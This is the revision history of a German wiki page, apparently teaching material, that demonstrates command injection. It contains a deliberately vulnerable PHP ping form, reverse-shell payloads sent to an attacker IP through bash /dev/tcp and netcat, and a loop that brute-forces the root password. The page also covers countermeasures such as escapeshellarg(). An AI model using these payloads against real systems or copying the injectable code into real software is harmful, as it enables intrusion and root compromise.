Command Injection Proof of Concept - Versionsgeschichte

Linkai.zhang am 18. September 2024 um 20:37 Uhr

2024-09-18T20:37:30Z

2024-09-18T20:36:16Z

2024-09-18T20:35:28Z

2024-09-18T20:34:10Z

PHP Code

2024-09-18T20:01:52Z

Schadcode einbringen

2024-09-18T20:01:11Z

Angreifer

2024-09-18T20:00:57Z

Schadcode einbringen

2023-09-11T08:59:11Z

2023-08-16T08:46:55Z

Gegenmaßnahmen

2023-08-16T08:46:39Z

Gegenmassnahmen

← Nächstältere Version		Version vom 18. September 2024, 20:37 Uhr
Zeile 37:		Zeile 37:

	[[Datei:Command-injetion1.png]]		[[Datei:Command-injetion1.png]]
		+
		+	= Brute Force Passwort von ''root'' =
		+	* '''for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i \| timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done'''

	=Auf dem Angreifer=		=Auf dem Angreifer=

@@ Zeile 5: / Zeile 5: @@
 *Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
 *'''vim ''/var/www/html/ping.php'' '''
-‎<syntaxhighlight lang="html">
+<syntaxhighlight lang="html">
 <!DOCTYPE html>
 <html>

@@ Zeile 6: / Zeile 6: @@
 *'''vim ''/var/www/html/ping.php'' '''
 ‎<syntaxhighlight lang="html">
- <!DOCTYPE html>
+<!DOCTYPE html>
- <html>
+<html>
-        <body>
+<body>
-                <h2>PING</h2>
+<h2>PING</h2>
-                <form method="post">
+<form method="post">
-                  <label for="fname">IP</label><br>
+<label for="fname">IP</label><br>
-                  <input type="text" name="ip"><br>
+<input type="text" name="ip"><br>
-                  <input type="submit" name="submit" value="submit">
+<input type="submit" name="submit" value="submit">
-                </form>
+</form>
-                <br>
+<br>
- <?php
+<?php
-   if(isset($_POST['submit'])){
+if(isset($_POST['submit'])){
-     $ip = $_POST['ip'];
+	$ip = $_POST['ip'];
-     $cmd = 'ping -c 4 ' . $ip;
+	$cmd = 'ping -c 4 ' . $ip;
-     $output = shell_exec($cmd);
+	$output = shell_exec($cmd);
-     echo "<pre> $output</pre>";
+	echo "<pre> $output</pre>";
-−
+}
- ?>
+?>
-         </body>
+</body>
- </html>
+</html>
 </syntaxhighlight>

@@ Zeile 4: / Zeile 4: @@
 *Man kann hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
 *Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
 ‎<syntaxhighlight lang="html">
   <!DOCTYPE html>

@@ Zeile 33: / Zeile 33: @@
 *verschiedene Möglichkeiten in der Webanwendung den Exploit auszunutzen:
 * '''1.1.1.1 ; bash -c "bash -i >& /dev/tcp/''i.p.des.hackers''/''port'' 0>&1"'''
-*1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 8668 1>/tmp/backpipe
+*1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 ''port'' 1>/tmp/backpipe
 *1.1.1.1 ;  nc.traditional -c /bin/sh 10.0.10.101 8668

@@ Zeile 28: / Zeile 28: @@
 </syntaxhighlight>
 =Schadcode einbringen=
 * Auf der Angreifermaschine:

← Nächstältere Version		Version vom 11. September 2023, 08:59 Uhr
Zeile 1:		Zeile 1:
		+	*[[php installation]]
	=PHP Code=		=PHP Code=
	*Bei dieser Anwendung wird die Eingabe nicht verifiziert.		*Bei dieser Anwendung wird die Eingabe nicht verifiziert.

@@ Zeile 41: / Zeile 41: @@
 =Gegenmaßnahmen=
-*Niemals Daten von Aussen ungeprüft in Anwendungen verwenden.
+*Niemals Daten von außen ungeprüft in Anwendungen verwenden.
 *Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache.
 *PHP-Funktion escapeshellarg() zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument: